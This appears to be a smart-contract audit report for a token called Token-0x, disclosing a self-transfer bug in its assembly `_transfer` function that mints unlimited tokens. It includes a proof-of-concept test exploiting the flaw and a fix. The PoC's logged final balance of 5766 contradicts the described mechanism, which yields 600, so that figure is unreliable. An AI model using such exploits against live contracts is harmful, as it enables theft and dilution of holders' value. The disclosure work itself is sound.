Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Self-Transfer Creates Infinite Tokens

Author Revealed upon completion

Root + Impact

Description

  • The _transfer() function allows any token holder to mint unlimited tokens by transferring to themselves.

  • When from == to, both storage slots resolve to the same location. The balance is read twice before any write, then written twice - with the second write (addition) overwriting the first (subtraction).

// @> Both reads happen BEFORE any writes - when from == to, these read the SAME slot
let fromAmount := sload(fromSlot) // e.g., reads 100
let toAmount := sload(toSlot) // @> SAME SLOT - also reads 100
// @> Second write overwrites first!
sstore(fromSlot, sub(fromAmount, value)) // slot = 100 - 50 = 50
sstore(toSlot, add(toAmount, value)) // @> slot = 100 + 50 = 150 (OVERWRITES!)

Risk

Likelihood:

  • Any address with a non-zero balance can exploit this immediately

  • No special permissions or setup required

Impact:

  • Attacker can mint unlimited tokens, destroying the token economy

  • Total supply tracking becomes meaningless

  • All existing holders suffer complete value dilution

Proof of Concept

function test_SelfTransferCreatesTokens() public {
// Setup: Alice has 100 tokens
token.mint(alice, 100);
uint256 initialBalance = token.balanceOf(alice);
assertEq(initialBalance, 100);
// Attack: Alice transfers 50 tokens to herself 10 times
vm.startPrank(alice);
for (uint i = 0; i < 10; i++) {
token.transfer(alice, 50);
}
vm.stopPrank();
uint256 finalBalance = token.balanceOf(alice);
// Result: Alice now has 5766 tokens instead of 100
console.log("Initial:", initialBalance); // 100
console.log("Final:", finalBalance); // 5766
assertTrue(finalBalance > initialBalance);
}

Recommended Mitigation

function _transfer(address from, address to, uint256 value) internal returns (bool) {
assembly ("memory-safe") {
+ // Self-transfer is a no-op
+ if eq(from, to) {
+ mstore(0x00, 1)
+ return(0x00, 0x20)
+ }
// ... rest of function
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!